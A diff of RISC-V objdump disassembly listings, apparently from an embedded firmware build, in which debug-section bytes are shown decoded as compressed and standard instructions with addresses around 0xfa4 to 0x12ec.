-     fc8:	015c0113          	addi	sp,s8,21
-     fcc:	0036                	c.slli	zero,0xd
-     fce:	b212                	fsd	ft4,288(sp)
-     fd0:	4022                	0x4022
-     fd2:	0820                	addi	s0,sp,24
-     fd4:	001d                	c.nop	7
-     fd6:	c800                	sw	s0,16(s0)
-     fd8:	1300000f          	0x1300000f
-     fdc:	5a01                	li	s4,-32
-     fde:	8702                	jr	a4
-     fe0:	1300                	addi	s0,sp,416
-     fe2:	5b01                	li	s6,-32
-     fe4:	7802                	flw	fa6,32(sp)
-     fe6:	1300                	addi	s0,sp,416
-     fe8:	5c01                	li	s8,-32
-     fea:	8202                	jr	tp
-     fec:	0000                	unimp
-     fee:	ba12                	fsd	ft4,304(sp)
-     ff0:	4022                	0x4022
-     ff2:	a220                	fsd	fs0,64(a2)
-     ff4:	001d                	c.nop	7
-     ff6:	e100                	fsw	fs0,0(a0)
-     ff8:	1300000f          	0x1300000f
-     ffc:	5a01                	li	s4,-32
-     ffe:	8202                	jr	tp
-    1000:	1300                	addi	s0,sp,416
-    1002:	5b01                	li	s6,-32
-    1004:	3a01                	jal	914 <__stack_size+0x114>
-    1006:	1200                	addi	s0,sp,288
-    1008:	22c8                	fld	fa0,128(a3)
+     fa4:	1200                	addi	s0,sp,288
+     fa6:	20a2                	fld	ft1,8(sp)
+     fa8:	2040                	fld	fs0,128(s0)
+     faa:	007a                	c.slli	zero,0x1e
+     fac:	0000                	unimp
+     fae:	0408                	addi	a0,sp,512
+     fb0:	0000                	unimp
+     fb2:	6414                	flw	fa3,8(s0)
+     fb4:	6762                	flw	fa4,24(sp)
+     fb6:	0100                	addi	s0,sp,128
+     fb8:	08a4                	addi	s1,sp,88
+     fba:	0579                	addi	a0,a0,30
+     fbc:	0000                	unimp
+     fbe:	7fbc9103          	lh	sp,2043(s9)
+     fc2:	ac15                	j	11f6 <__stack_size+0x9f6>
+     fc4:	4020                	lw	s0,64(s0)
+     fc6:	2a20                	fld	fs0,80(a2)
+     fc8:	000d                	c.nop	3
+     fca:	4400                	lw	s0,8(s0)
+     fcc:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+     fd0:	5a01                	li	s4,-32
+     fd2:	0305                	addi	t1,t1,1
+     fd4:	4320                	lw	s0,64(a4)
+     fd6:	2040                	fld	fs0,128(s0)
+     fd8:	1500                	addi	s0,sp,672
+     fda:	20b6                	fld	ft1,328(sp)
+     fdc:	2040                	fld	fs0,128(s0)
+     fde:	0d2a                	slli	s10,s10,0xa
+     fe0:	0000                	unimp
+     fe2:	0000035b          	0x35b
+     fe6:	0116                	slli	sp,sp,0x5
+     fe8:	055a                	slli	a0,a0,0x16
+     fea:	40433403          	0x40433403
+     fee:	0020                	addi	s0,sp,8
+     ff0:	c815                	beqz	s0,1024 <__stack_size+0x824>
+     ff2:	4020                	lw	s0,64(s0)
+     ff4:	2a20                	fld	fs0,80(a2)
+     ff6:	000d                	c.nop	3
+     ff8:	7200                	flw	fs0,32(a2)
+     ffa:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+     ffe:	5a01                	li	s4,-32
+    1000:	0305                	addi	t1,t1,1
+    1002:	4344                	lw	s1,4(a4)
+    1004:	2040                	fld	fs0,128(s0)
+    1006:	1500                	addi	s0,sp,672
+    1008:	20d2                	fld	ft1,272(sp)
     100a:	2040                	fld	fs0,128(s0)
-    100c:	1d08                	addi	a0,sp,688
+    100c:	0cd5                	addi	s9,s9,21
     100e:	0000                	unimp
-    1010:	0ff8                	addi	a4,sp,988
+    1010:	0389                	addi	t2,t2,2
     1012:	0000                	unimp
-    1014:	055a0113          	addi	sp,s4,85
-    1018:	40583c03          	0x40583c03
+    1014:	0116                	slli	sp,sp,0x5
+    1016:	055a                	slli	a0,a0,0x16
+    1018:	40426403          	0x40426403
     101c:	0020                	addi	s0,sp,8
-    101e:	d012                	sw	tp,32(sp)
-    1020:	4022                	0x4022
-    1022:	0820                	addi	s0,sp,24
-    1024:	001d                	c.nop	7
-    1026:	1200                	addi	s0,sp,288
-    1028:	0010                	0x10
-    102a:	1300                	addi	s0,sp,416
+    101e:	e615                	bnez	a2,104a <__stack_size+0x84a>
+    1020:	4020                	lw	s0,64(s0)
+    1022:	2a20                	fld	fs0,80(a2)
+    1024:	000d                	c.nop	3
+    1026:	a500                	fsd	fs0,8(a0)
+    1028:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
     102c:	5a01                	li	s4,-32
-    102e:	8902                	jr	s2
-    1030:	1300                	addi	s0,sp,416
-    1032:	5b01                	li	s6,-32
-    1034:	8802                	jr	a6
-    1036:	0000                	unimp
-    1038:	4022e01b          	0x4022e01b
-    103c:	1420                	addi	s0,sp,552
-    103e:	001d                	c.nop	7
-    1040:	1300                	addi	s0,sp,416
-    1042:	5a01                	li	s4,-32
-    1044:	3101                	jal	c44 <__stack_size+0x444>
-    1046:	055b0113          	addi	sp,s6,85
-    104a:	4054f003          	0x4054f003
-    104e:	1320                	addi	s0,sp,424
-    1050:	5c01                	li	s8,-32
-    1052:	3601                	jal	b52 <__stack_size+0x352>
-    1054:	0000                	unimp
-    1056:	0000                	unimp
-    1058:	ec08                	fsw	fa0,24(s0)
-    105a:	0000                	unimp
-    105c:	4800                	lw	s0,16(s0)
-    105e:	0010                	0x10
-    1060:	0900                	addi	s0,sp,144
-    1062:	00a0                	addi	s0,sp,72
-    1064:	0000                	unimp
-    1066:	00a00903          	lb	s2,10(zero) # a <__stack_size-0x7f6>
+    102e:	0305                	addi	t1,t1,1
+    1030:	435c                	lw	a5,4(a4)
+    1032:	2040                	fld	fs0,128(s0)
+    1034:	0116                	slli	sp,sp,0x5
+    1036:	015c                	addi	a5,sp,132
+    1038:	0032                	c.slli	zero,0xc
+    103a:	f015                	bnez	s0,f5e <__stack_size+0x75e>
+    103c:	4020                	lw	s0,64(s0)
+    103e:	d520                	sw	s0,104(a0)
+    1040:	000c                	0xc
+    1042:	bc00                	fsd	fs0,56(s0)
+    1044:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+    1048:	5a01                	li	s4,-32
+    104a:	0305                	addi	t1,t1,1
+    104c:	4264                	lw	s1,68(a2)
+    104e:	2040                	fld	fs0,128(s0)
+    1050:	1500                	addi	s0,sp,672
+    1052:	20fc                	fld	fa5,192(s1)
+    1054:	2040                	fld	fs0,128(s0)
+    1056:	0d1e                	slli	s10,s10,0x7
+    1058:	0000                	unimp
+    105a:	000003d7          	0x3d7
+    105e:	0116                	slli	sp,sp,0x5
+    1060:	035a                	slli	t1,t1,0x16
+    1062:	bc91                	j	ab6 <__stack_size+0x2b6>
+    1064:	167f                	0x167f
+    1066:	5c01                	li	s8,-32
+    1068:	8402                	jr	s0
     106a:	0000                	unimp
-    106c:	e608003f 58000000 	0x58000000e608003f
-    1074:	0010                	0x10
-    1076:	0900                	addi	s0,sp,144
-    1078:	00a0                	addi	s0,sp,72
-    107a:	0000                	unimp
-    107c:	82230003          	lb	zero,-2014(t1)
-    1080:	005c                	addi	a5,sp,4
-    1082:	0100                	addi	s0,sp,128
-    1084:	06e9                	addi	a3,a3,26
-    1086:	206c                	fld	fa1,192(s0)
-    1088:	2040                	fld	fs0,128(s0)
-    108a:	015c                	addi	a5,sp,132
-    108c:	0000                	unimp
-    108e:	9c01                	0x9c01
-    1090:	119a                	slli	gp,gp,0x26
-    1092:	0000                	unimp
-    1094:	dd24                	sw	s1,120(a0)
-    1096:	01000043          	fmadd.s	ft0,ft0,fa6,ft0,rne
-    109a:	0bf4                	addi	a3,sp,476
-    109c:	00d5                	addi	ra,ra,21
-    109e:	0000                	unimp
-    10a0:	058e                	slli	a1,a1,0x3
-    10a2:	0000                	unimp
-    10a4:	1e24                	addi	s1,sp,824
-    10a6:	0069                	c.nop	26
-    10a8:	0100                	addi	s0,sp,128
-    10aa:	0bf6                	slli	s7,s7,0x1d
-    10ac:	00c4                	addi	s1,sp,68
-    10ae:	0000                	unimp
-    10b0:	05ca                	slli	a1,a1,0x12
-    10b2:	0000                	unimp
-    10b4:	2624                	fld	fs1,72(a2)
-    10b6:	0069                	c.nop	26
-    10b8:	0100                	addi	s0,sp,128
-    10ba:	00c40bf7          	0xc40bf7
-    10be:	0000                	unimp
-    10c0:	05e8                	addi	a0,sp,716
-    10c2:	0000                	unimp
-    10c4:	e60e                	fsw	ft3,12(sp)
-    10c6:	0039                	c.nop	14
-    10c8:	0100                	addi	s0,sp,128
-    10ca:	10ff                	0x10ff
-    10cc:	119a                	slli	gp,gp,0x26
-    10ce:	0000                	unimp
-    10d0:	7fb09103          	lh	sp,2043(ra)
-    10d4:	1019                	c.nop	-26
-    10d6:	0001                	nop
-    10d8:	1100                	addi	s0,sp,160
-    10da:	0069                	c.nop	26
-    10dc:	0901                	addi	s2,s2,0
-    10de:	0b01                	addi	s6,s6,0
-    10e0:	0030                	addi	a2,sp,8
-    10e2:	0000                	unimp
-    10e4:	3819                	jal	8fa <__stack_size+0xfa>
-    10e6:	0001                	nop
-    10e8:	1800                	addi	s0,sp,48
-    10ea:	00676663          	bltu	a4,t1,10f6 <__stack_size+0x8f6>
-    10ee:	0b01                	addi	s6,s6,0
-    10f0:	1101                	addi	sp,sp,-32
-    10f2:	000000bf 00000606 	0x606000000bf
-    10fa:	7216                	flw	ft4,100(sp)
-    10fc:	01007877          	0x1007877
-    1100:	010d                	addi	sp,sp,3
-    1102:	aa08                	fsd	fa0,16(a2)
-    1104:	0011                	c.nop	4
-    1106:	0300                	addi	s0,sp,384
-    1108:	a491                	j	134c <__stack_size+0xb4c>
-    110a:	1d7f                	0x1d7f
-    110c:	55ae                	lw	a1,232(sp)
-    110e:	0000                	unimp
-    1110:	0f01                	addi	t5,t5,0
-    1112:	1101                	addi	sp,sp,-32
-    1114:	0072                	c.slli	zero,0x1c
-    1116:	0000                	unimp
-    1118:	0619                	addi	a2,a2,6
-    111a:	0000                	unimp
-    111c:	6518                	flw	fa4,8(a0)
-    111e:	646e                	flw	fs0,216(sp)
-    1120:	0100                	addi	s0,sp,128
-    1122:	721a010f          	0x721a010f
+    106c:	0615                	addi	a2,a2,5
+    106e:	4021                	c.li	zero,8
+    1070:	d520                	sw	s0,104(a0)
+    1072:	000c                	0xc
+    1074:	ee00                	fsw	fs0,24(a2)
+    1076:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+    107a:	5a01                	li	s4,-32
+    107c:	0305                	addi	t1,t1,1
+    107e:	4264                	lw	s1,68(a2)
+    1080:	2040                	fld	fs0,128(s0)
+    1082:	1700                	addi	s0,sp,928
+    1084:	211c                	fld	fa5,0(a0)
+    1086:	2040                	fld	fs0,128(s0)
+    1088:	0d2a                	slli	s10,s10,0xa
+    108a:	0000                	unimp
+    108c:	0116                	slli	sp,sp,0x5
+    108e:	055a                	slli	a0,a0,0x16
+    1090:	4043ac03          	lw	s8,1028(t2)
+    1094:	1620                	addi	s0,sp,808
+    1096:	5b01                	li	s6,-32
+    1098:	7802                	flw	fa6,32(sp)
+    109a:	0000                	unimp
+    109c:	1800                	addi	s0,sp,48
+    109e:	0148                	addi	a0,sp,132
+    10a0:	0000                	unimp
+    10a2:	0500                	addi	s0,sp,640
+    10a4:	0000                	unimp
+    10a6:	c819                	beqz	s0,10bc <__stack_size+0x8bc>
+    10a8:	00a2                	slli	ra,ra,0x8
+    10aa:	0100                	addi	s0,sp,128
+    10ac:	058908b3          	0x58908b3
+    10b0:	0000                	unimp
+    10b2:	7fac9103          	lh	sp,2042(s9)
+    10b6:	0111                	addi	sp,sp,4
+    10b8:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    10bc:	0cb6                	slli	s9,s9,0xd
+    10be:	0058                	addi	a4,sp,4
+    10c0:	0000                	unimp
+    10c2:	05bc                	addi	a5,sp,712
+    10c4:	0000                	unimp
+    10c6:	4012                	0x4012
+    10c8:	4022                	0x4022
+    10ca:	1020                	addi	s0,sp,40
+    10cc:	0000                	unimp
+    10ce:	4c00                	lw	s0,24(s0)
+    10d0:	0004                	0x4
+    10d2:	1400                	addi	s0,sp,544
+    10d4:	3061                	jal	95c <__stack_size+0x15c>
+    10d6:	0100                	addi	s0,sp,128
+    10d8:	06ba                	slli	a3,a3,0xe
+    10da:	0000006b          	0x6b
+    10de:	5a01                	li	s4,-32
+    10e0:	1800                	addi	s0,sp,48
+    10e2:	0160                	addi	s0,sp,140
+    10e4:	0000                	unimp
+    10e6:	04c6                	slli	s1,s1,0x11
+    10e8:	0000                	unimp
+    10ea:	6414                	flw	fa3,8(s0)
+    10ec:	6762                	flw	fa4,24(sp)
+    10ee:	0100                	addi	s0,sp,128
+    10f0:	0abd                	addi	s5,s5,15
+    10f2:	0599                	addi	a1,a1,6
+    10f4:	0000                	unimp
+    10f6:	7fbc9103          	lh	sp,2043(s9)
+    10fa:	6615                	lui	a2,0x5
+    10fc:	4022                	0x4022
+    10fe:	1e20                	addi	s0,sp,824
+    1100:	000d                	c.nop	3
+    1102:	8600                	0x8600
+    1104:	0004                	0x4
+    1106:	1600                	addi	s0,sp,800
+    1108:	5a01                	li	s4,-32
+    110a:	7fbc9103          	lh	sp,2043(s9)
+    110e:	0116                	slli	sp,sp,0x5
+    1110:	ac91035b          	0xac91035b
+    1114:	167f                	0x167f
+    1116:	5c01                	li	s8,-32
+    1118:	4001                	c.li	zero,0
+    111a:	1500                	addi	s0,sp,672
+    111c:	2274                	fld	fa3,192(a2)
+    111e:	2040                	fld	fs0,128(s0)
+    1120:	0cd5                	addi	s9,s9,21
+    1122:	0000                	unimp
+    1124:	049a                	slli	s1,s1,0x6
     1126:	0000                	unimp
-    1128:	7200                	flw	fs0,32(a2)
-    112a:	0006                	c.slli	zero,0x1
-    112c:	1700                	addi	s0,sp,928
-    112e:	a5e1                	j	17f6 <__stack_size+0xff6>
-    1130:	0000                	unimp
-    1132:	1101                	addi	sp,sp,-32
-    1134:	0801                	addi	a6,a6,0
-    1136:	11ba                	slli	gp,gp,0x2e
-    1138:	0000                	unimp
-    113a:	7fa89103          	lh	sp,2042(a7)
-    113e:	601a                	flw	ft0,132(sp)
-    1140:	0001                	nop
-    1142:	4c00                	lw	s0,24(s0)
-    1144:	0011                	c.nop	4
-    1146:	1800                	addi	s0,sp,48
-    1148:	006a                	c.slli	zero,0x1a
-    114a:	1e01                	addi	t3,t3,-32
-    114c:	0d01                	addi	s10,s10,0
-    114e:	0030                	addi	a2,sp,8
-    1150:	0000                	unimp
-    1152:	000006cb          	fnmsub.s	fa3,ft0,ft0,ft0,rne
-    1156:	9c1f 4021 2020      	0x202040219c1f
-    115c:	0000                	unimp
-    115e:	1d00                	addi	s0,sp,688
-    1160:	0000a23b          	0xa23b
-    1164:	2001                	jal	1164 <__stack_size+0x964>
-    1166:	1501                	addi	a0,a0,-32
-    1168:	00e1                	addi	ra,ra,24
-    116a:	0000                	unimp
-    116c:	00000703          	lb	a4,0(zero) # 0 <__stack_size-0x800>
-    1170:	0000                	unimp
-    1172:	ce14                	sw	a3,24(a2)
-    1174:	4020                	lw	s0,64(s0)
-    1176:	ae20                	fsd	fs0,88(a2)
-    1178:	001d                	c.nop	7
-    117a:	1200                	addi	s0,sp,288
-    117c:	2136                	fld	ft2,328(sp)
-    117e:	2040                	fld	fs0,128(s0)
-    1180:	1d2c                	addi	a1,sp,696
-    1182:	0000                	unimp
-    1184:	116a                	slli	sp,sp,0x3a
-    1186:	0000                	unimp
-    1188:	035a0113          	addi	sp,s4,53
-    118c:	a891                	j	11e0 <__stack_size+0x9e0>
-    118e:	007f                	0x7f
-    1190:	40214a1b          	0x40214a1b
-    1194:	0820                	addi	s0,sp,24
-    1196:	001d                	c.nop	7
-    1198:	1300                	addi	s0,sp,416
-    119a:	5a01                	li	s4,-32
-    119c:	0305                	addi	t1,t1,1
-    119e:	57c0                	lw	s0,44(a5)
-    11a0:	2040                	fld	fs0,128(s0)
-    11a2:	025b0113          	addi	sp,s6,37
-    11a6:	0078                	addi	a4,sp,12
-    11a8:	025c0113          	addi	sp,s8,37
-    11ac:	0086                	slli	ra,ra,0x1
-    11ae:	035d0113          	addi	sp,s10,53 # 1a035 <__stack_size+0x19835>
-    11b2:	a491                	j	13f6 <__stack_size+0xbf6>
-    11b4:	137f                	0x137f
-    11b6:	5e01                	li	t3,-32
-    11b8:	7fa89103          	lh	sp,2042(a7)
-    11bc:	0000                	unimp
-    11be:	0000                	unimp
-    11c0:	7208                	flw	fa0,32(a2)
-    11c2:	0000                	unimp
-    11c4:	aa00                	fsd	fs0,16(a2)
-    11c6:	0011                	c.nop	4
-    11c8:	0900                	addi	s0,sp,144
-    11ca:	00a0                	addi	s0,sp,72
-    11cc:	0000                	unimp
-    11ce:	ec080007          	0xec080007
-    11d2:	0000                	unimp
-    11d4:	ba00                	fsd	fs0,48(a2)
-    11d6:	0011                	c.nop	4
-    11d8:	0900                	addi	s0,sp,144
-    11da:	00a0                	addi	s0,sp,72
-    11dc:	0000                	unimp
-    11de:	ec080003          	lb	zero,-320(a6) # 37d27c <__stack_size+0x37ca7c>
-    11e2:	0000                	unimp
-    11e4:	ca00                	sw	s0,16(a2)
-    11e6:	0011                	c.nop	4
-    11e8:	0900                	addi	s0,sp,144
-    11ea:	00a0                	addi	s0,sp,72
-    11ec:	0000                	unimp
-    11ee:	0005                	c.nop	1
-    11f0:	0009df23          	0x9df23
-    11f4:	0100                	addi	s0,sp,128
-    11f6:	1e0406a7          	0x1e0406a7
-    11fa:	2040                	fld	fs0,128(s0)
-    11fc:	0268                	addi	a0,sp,268
-    11fe:	0000                	unimp
-    1200:	9c01                	0x9c01
-    1202:	173e                	slli	a4,a4,0x2f
-    1204:	0000                	unimp
-    1206:	ff25                	bnez	a4,117e <__stack_size+0x97e>
-    1208:	0049                	c.nop	18
-    120a:	0100                	addi	s0,sp,128
-    120c:	0caa                	slli	s9,s9,0xa
-    120e:	0000009b          	0x9b
-    1212:	0dcc240b          	0xdcc240b
-    1216:	0000                	unimp
-    1218:	ab01                	j	1728 <__stack_size+0xf28>
-    121a:	3e06                	fld	ft8,96(sp)
-    121c:	44000017          	auipc	zero,0x44000
-    1220:	24000007          	0x24000007
-    1224:	1580                	addi	s0,sp,736
-    1226:	0000                	unimp
-    1228:	ab01                	j	1738 <__stack_size+0xf38>
-    122a:	4f15                	li	t5,5
-    122c:	ca000017          	auipc	zero,0xca000
-    1230:	24000007          	0x24000007
-    1234:	9401                	srai	s0,s0,0x20
-    1236:	0000                	unimp
-    1238:	b901                	j	e48 <__stack_size+0x648>
-    123a:	3006                	fld	ft0,96(sp)
-    123c:	0000                	unimp
-    123e:	0500                	addi	s0,sp,640
-    1240:	0008                	0x8
-    1242:	2600                	fld	fs0,8(a2)
-    1244:	00727473          	csrrci	s0,0x7,4
-    1248:	bb01                	j	f58 <__stack_size+0x758>
-    124a:	000e2707          	flw	fa4,0(t3) # 0 <__stack_size-0x800>
-    124e:	0300                	addi	s0,sp,384
-    1250:	e891                	bnez	s1,1264 <__stack_size+0xa64>
-    1252:	247e                	fld	fs0,472(sp)
-    1254:	25f1                	jal	1920 <__stack_size+0x1120>
+    1128:	0116                	slli	sp,sp,0x5
+    112a:	025a                	slli	tp,tp,0x16
+    112c:	0088                	addi	a0,sp,64
+    112e:	1500                	addi	s0,sp,672
+    1130:	2282                	fld	ft5,0(sp)
+    1132:	2040                	fld	fs0,128(s0)
+    1134:	0d2a                	slli	s10,s10,0xa
+    1136:	0000                	unimp
+    1138:	04b5                	addi	s1,s1,13
+    113a:	0000                	unimp
+    113c:	0116                	slli	sp,sp,0x5
+    113e:	025a                	slli	tp,tp,0x16
+    1140:	0089                	addi	ra,ra,2
+    1142:	0116                	slli	sp,sp,0x5
+    1144:	bc91035b          	0xbc91035b
+    1148:	007f                	0x7f
+    114a:	40229617          	auipc	a2,0x40229
+    114e:	2a20                	fld	fs0,80(a2)
+    1150:	000d                	c.nop	3
+    1152:	1600                	addi	s0,sp,800
+    1154:	5a01                	li	s4,-32
+    1156:	8702                	jr	a4
+    1158:	0000                	unimp
+    115a:	1500                	addi	s0,sp,672
+    115c:	2228                	fld	fa0,64(a2)
+    115e:	2040                	fld	fs0,128(s0)
+    1160:	0d06                	slli	s10,s10,0x1
+    1162:	0000                	unimp
+    1164:	04e5                	addi	s1,s1,25
+    1166:	0000                	unimp
+    1168:	0116                	slli	sp,sp,0x5
+    116a:	035a                	slli	t1,t1,0x16
+    116c:	ac91                	j	13c0 <__stack_size+0xbc0>
+    116e:	167f                	0x167f
+    1170:	5b01                	li	s6,-32
+    1172:	3001                	jal	972 <__stack_size+0x172>
+    1174:	0116                	slli	sp,sp,0x5
+    1176:	015c                	addi	a5,sp,132
+    1178:	0040                	addi	s0,sp,4
+    117a:	40224017          	auipc	zero,0x40224
+    117e:	1e20                	addi	s0,sp,824
+    1180:	000d                	c.nop	3
+    1182:	1600                	addi	s0,sp,800
+    1184:	5a01                	li	s4,-32
+    1186:	7fac9103          	lh	sp,2042(s9)
+    118a:	0116                	slli	sp,sp,0x5
+    118c:	0078055b          	0x78055b
+    1190:	00220083          	lb	ra,2(tp) # 1b002 <__stack_size+0x1a802>
+    1194:	1500                	addi	s0,sp,672
+    1196:	2072                	fld	ft0,280(sp)
+    1198:	2040                	fld	fs0,128(s0)
+    119a:	0cd5                	addi	s9,s9,21
+    119c:	0000                	unimp
+    119e:	00000517          	auipc	a0,0x0
+    11a2:	0116                	slli	sp,sp,0x5
+    11a4:	055a                	slli	a0,a0,0x16
+    11a6:	40426403          	0x40426403
+    11aa:	0020                	addi	s0,sp,8
+    11ac:	9015                	srli	s0,s0,0x25
+    11ae:	4020                	lw	s0,64(s0)
+    11b0:	2a20                	fld	fs0,80(a2)
+    11b2:	000d                	c.nop	3
+    11b4:	2e00                	fld	fs0,24(a2)
+    11b6:	0005                	c.nop	1
+    11b8:	1600                	addi	s0,sp,800
+    11ba:	5a01                	li	s4,-32
+    11bc:	0305                	addi	t1,t1,1
+    11be:	42e4                	lw	s1,68(a3)
+    11c0:	2040                	fld	fs0,128(s0)
+    11c2:	1500                	addi	s0,sp,672
+    11c4:	2096                	fld	ft1,320(sp)
+    11c6:	2040                	fld	fs0,128(s0)
+    11c8:	0d12                	slli	s10,s10,0x4
+    11ca:	0000                	unimp
+    11cc:	0548                	addi	a0,sp,644
+    11ce:	0000                	unimp
+    11d0:	0116                	slli	sp,sp,0x5
+    11d2:	025a                	slli	tp,tp,0x16
+    11d4:	0079                	c.nop	30
+    11d6:	0116                	slli	sp,sp,0x5
+    11d8:	0086025b          	0x86025b
+    11dc:	1500                	addi	s0,sp,672
+    11de:	20a2                	fld	ft1,8(sp)
+    11e0:	2040                	fld	fs0,128(s0)
+    11e2:	0d2a                	slli	s10,s10,0xa
+    11e4:	0000                	unimp
+    11e6:	055f 0000 0116      	0x1160000055f
+    11ec:	055a                	slli	a0,a0,0x16
+    11ee:	40430403          	lb	s0,1028(t1) # fffe5404 <_heap_end+0x7ffd6c04>
+    11f2:	0020                	addi	s0,sp,8
+    11f4:	40215617          	auipc	a2,0x40215
+    11f8:	2a20                	fld	fs0,80(a2)
+    11fa:	000d                	c.nop	3
+    11fc:	1600                	addi	s0,sp,800
+    11fe:	5a01                	li	s4,-32
+    1200:	0305                	addi	t1,t1,1
+    1202:	440c                	lw	a1,8(s0)
+    1204:	2040                	fld	fs0,128(s0)
+    1206:	0000                	unimp
+    1208:	0406                	slli	s0,s0,0x1
+    120a:	000000b7          	lui	ra,0x0
+    120e:	9e1a                	add	t3,t3,t1
+    1210:	0000                	unimp
+    1212:	8900                	0x8900
+    1214:	0005                	c.nop	1
+    1216:	1b00                	addi	s0,sp,432
+    1218:	0091                	addi	ra,ra,4
+    121a:	0000                	unimp
+    121c:	0000                	unimp
+    121e:	9e1a                	add	t3,t3,t1
+    1220:	0000                	unimp
+    1222:	9900                	0x9900
+    1224:	0005                	c.nop	1
+    1226:	1b00                	addi	s0,sp,432
+    1228:	0091                	addi	ra,ra,4
+    122a:	0000                	unimp
+    122c:	9e1a000f          	0x9e1a000f
+    1230:	0000                	unimp
+    1232:	a900                	fsd	fs0,16(a0)
+    1234:	0005                	c.nop	1
+    1236:	1b00                	addi	s0,sp,432
+    1238:	0091                	addi	ra,ra,4
+    123a:	0000                	unimp
+    123c:	0010                	0x10
+    123e:	120d                	addi	tp,tp,-29
+    1240:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    1244:	157a                	slli	a0,a0,0x3e
+    1246:	00000573          	0x573
+	...
+    1252:	9c01                	0x9c01
+    1254:	06b1                	addi	a3,a3,12
     1256:	0000                	unimp
-    1258:	bb01                	j	f68 <__stack_size+0x768>
-    125a:	9b3a                	add	s6,s6,a4
-    125c:	0000                	unimp
-    125e:	1800                	addi	s0,sp,48
-    1260:	0008                	0x8
-    1262:	2700                	fld	fs0,8(a4)
-    1264:	696d                	lui	s2,0x1b
-    1266:	006e                	c.slli	zero,0x1b
-    1268:	c401                	beqz	s0,1270 <__stack_size+0xa70>
-    126a:	3009                	jal	a6c <__stack_size+0x26c>
-    126c:	0000                	unimp
-    126e:	2b00                	fld	fs0,16(a4)
-    1270:	0008                	0x8
-    1272:	2700                	fld	fs0,8(a4)
-    1274:	656d                	lui	a0,0x1b
-    1276:	0064                	addi	s1,sp,12
-    1278:	c401                	beqz	s0,1280 <__stack_size+0xa80>
-    127a:	301a                	fld	ft0,416(sp)
-    127c:	0000                	unimp
-    127e:	4a00                	lw	s0,16(a2)
-    1280:	0008                	0x8
-    1282:	2700                	fld	fs0,8(a4)
-    1284:	616d                	addi	sp,sp,240
-    1286:	0078                	addi	a4,sp,12
-    1288:	c401                	beqz	s0,1290 <__stack_size+0xa90>
-    128a:	3031                	jal	a96 <__stack_size+0x296>
+    1258:	00a36e0f          	0xa36e0f
+    125c:	0100                	addi	s0,sp,128
+    125e:	307a                	fld	ft0,440(sp)
+    1260:	0045                	c.nop	17
+    1262:	0000                	unimp
+    1264:	000005db          	0x5db
+    1268:	f319                	bnez	a4,116e <__stack_size+0x96e>
+    126a:	00a2                	slli	ra,ra,0x8
+    126c:	0100                	addi	s0,sp,128
+    126e:	077c                	addi	a5,sp,908
+    1270:	0589                	addi	a1,a1,2
+    1272:	0000                	unimp
+    1274:	9102                	jalr	sp
+    1276:	1260                	addi	s0,sp,300
+	...
+    1280:	0631                	addi	a2,a2,12
+    1282:	0000                	unimp
+    1284:	6114                	flw	fa3,0(a0)
+    1286:	0030                	addi	a2,sp,8
+    1288:	7e01                	lui	t3,0xfffe0
+    128a:	6b06                	flw	fs6,64(sp)
     128c:	0000                	unimp
-    128e:	6a00                	flw	fs0,16(a2)
-    1290:	0008                	0x8
-    1292:	2400                	fld	fs0,8(s0)
-    1294:	0000209b          	0x209b
-    1298:	cb01                	beqz	a4,12a8 <__stack_size+0xaa8>
-    129a:	a711                	j	199e <__stack_size+0x119e>
-    129c:	0000                	unimp
-    129e:	8900                	0x8900
-    12a0:	0008                	0x8
-    12a2:	2400                	fld	fs0,8(s0)
-    12a4:	0afc                	addi	a5,sp,348
+    128e:	0100                	addi	s0,sp,128
+    1290:	145a                	slli	s0,s0,0x36
+    1292:	3261                	jal	c1a <__stack_size+0x41a>
+    1294:	0100                	addi	s0,sp,128
+    1296:	067e                	slli	a2,a2,0x1f
+    1298:	0000006b          	0x6b
+    129c:	5c01                	li	s8,-32
+    129e:	6114                	flw	fa3,0(a0)
+    12a0:	7e010033          	0x7e010033
+    12a4:	6b06                	flw	fs6,64(sp)
     12a6:	0000                	unimp
-    12a8:	cc01                	beqz	s0,12c0 <__stack_size+0xac0>
-    12aa:	a711                	j	19ae <__stack_size+0x11ae>
-    12ac:	0000                	unimp
-    12ae:	b300                	fsd	fs0,32(a4)
-    12b0:	0008                	0x8
-    12b2:	2400                	fld	fs0,8(s0)
-    12b4:	75ae                	flw	fa1,232(sp)
-    12b6:	0000                	unimp
-    12b8:	cd01                	beqz	a0,12d0 <__stack_size+0xad0>
-    12ba:	a711                	j	19be <__stack_size+0x11be>
-    12bc:	0000                	unimp
-    12be:	f300                	fsw	fs0,32(a4)
-    12c0:	0008                	0x8
-    12c2:	2400                	fld	fs0,8(s0)
-    12c4:	620d                	lui	tp,0x3
-    12c6:	0000                	unimp
-    12c8:	ce01                	beqz	a2,12e0 <__stack_size+0xae0>
-    12ca:	a711                	j	19ce <__stack_size+0x11ce>
+    12a8:	0100                	addi	s0,sp,128
+    12aa:	145d                	addi	s0,s0,-9
+    12ac:	3461                	jal	d34 <__stack_size+0x534>
+    12ae:	0100                	addi	s0,sp,128
+    12b0:	067e                	slli	a2,a2,0x1f
+    12b2:	0000006b          	0x6b
+    12b6:	5e01                	li	t3,-32
+    12b8:	6114                	flw	fa3,0(a0)
+    12ba:	0035                	c.nop	13
+    12bc:	7e01                	lui	t3,0xfffe0
+    12be:	6b06                	flw	fs6,64(sp)
+    12c0:	0000                	unimp
+    12c2:	0100                	addi	s0,sp,128
+    12c4:	005f 0012 0000      	0x12005f
+    12ca:	0000                	unimp
     12cc:	0000                	unimp
-    12ce:	0c00                	addi	s0,sp,528
-    12d0:	0009                	c.nop	2
-    12d2:	2400                	fld	fs0,8(s0)
-    12d4:	209f 0000 cf01      	0xcf010000209f
-    12da:	7916                	flw	fs2,100(sp)
-    12dc:	0000                	unimp
-    12de:	3d00                	fld	fs0,56(a0)
-    12e0:	0009                	c.nop	2
-    12e2:	2400                	fld	fs0,8(s0)
-    12e4:	0b00                	addi	s0,sp,400
-    12e6:	0000                	unimp
-    12e8:	d001                	beqz	s0,11e8 <__stack_size+0x9e8>
-    12ea:	7916                	flw	fs2,100(sp)
-    12ec:	0000                	unimp
